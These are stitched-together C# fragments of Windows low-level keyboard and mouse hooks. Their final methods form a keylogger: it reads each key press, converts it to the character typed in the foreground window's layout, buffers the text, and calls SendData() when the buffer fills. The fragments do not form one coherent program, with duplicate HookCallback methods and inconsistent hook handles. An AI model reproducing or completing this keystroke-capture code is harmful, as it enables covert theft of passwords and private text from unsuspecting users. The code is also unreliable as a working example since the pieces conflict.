public void UnHook() { if (hHook != 0) { WinApiMethods.UnhookWindowsHookEx(hHook); } }
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { var hookStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT)); var vkc = (VirtualKeyCode)hookStruct.vkCode; //Debug.WriteLine("up - {0}/{1}/{2}", KeyInterop.KeyFromVirtualKey((int)hookStruct.vkCode), hookStruct.vkCode, vkc); switch ((KeyboardMessages)wParam) { case KeyboardMessages.WM_KEYDOWN: case KeyboardMessages.WM_SYSKEYDOWN: { this.KeyboardKeyDown(vkc); break; } case KeyboardMessages.WM_KEYUP: case KeyboardMessages.WM_SYSKEYUP: { this.KeyboardKeyUp(vkc); break; } } } return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam)); }
private IntPtr SetHook(LowLevelProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return(WinApiMethods.SetWindowsHookEx((int)HookType.WH_KEYBOARD_LL, proc, WinApiMethods.GetModuleHandle(curModule.ModuleName), 0)); } }
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { var hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT)); switch ((MouseMessages)wParam) { case MouseMessages.WM_MOUSEMOVE: { this.Move(hookStruct.pt); break; } case MouseMessages.WM_LBUTTONDOWN: { this.LeftButtonDown(hookStruct.pt); break; } case MouseMessages.WM_LBUTTONUP: { this.LeftButtonUp(hookStruct.pt); break; } case MouseMessages.WM_RBUTTONDOWN: { this.RightButtonDown(hookStruct.pt); break; } case MouseMessages.WM_RBUTTONUP: { this.RightButtonUp(hookStruct.pt); break; } case MouseMessages.WM_MOUSEWHEEL: { // delta > 0 - wheel up // delta < 0 - wheel down this.WheelMove(hookStruct.mouseData.HighWord() / 120); break; } } } return(WinApiMethods.CallNextHookEx(_hookID, nCode, wParam, lParam)); }
private string GetLayoutSymbol(Keys keys) { if (keys == Keys.Enter || keys == Keys.Back) { return($"#{keys.ToString()}#"); } IntPtr layout = WinApiMethods.GetKeyboardLayout(WinApiMethods.GetWindowThreadProcessId(WinApiMethods.GetForegroundWindow(), IntPtr.Zero)); bool CapsLockState = (((ushort)WinApiMethods.GetKeyState(0x14)) & 0xffff) != 0; bool ShiftState = (WinApiMethods.GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0; var buf = new StringBuilder(256); var keyboardState = new byte[256]; if (CapsLockState ^ ShiftState) { keyboardState[(int)Keys.ShiftKey] = 0xff; } WinApiMethods.ToUnicodeEx((uint)keys, 0, keyboardState, buf, 256, 0, layout); return(buf.ToString()); }
private int LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode < 0 || SizeBufer == 0 || (wParam.ToInt32() != (int)HookMessages.WM_KEYDOWN)) { return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam)); } Keys key = (Keys)Marshal.ReadInt32(lParam); string sym = GetLayoutSymbol(key); KeysStr += sym; countEnterSym++; if (countEnterSym >= SizeBufer) { SendData(); countEnterSym = 0; KeysStr = String.Empty; } return(WinApiMethods.CallNextHookEx(hHook, nCode, wParam, lParam)); }
public virtual void Dispose() { WinApiMethods.UnhookWindowsHookEx(this._hookID); }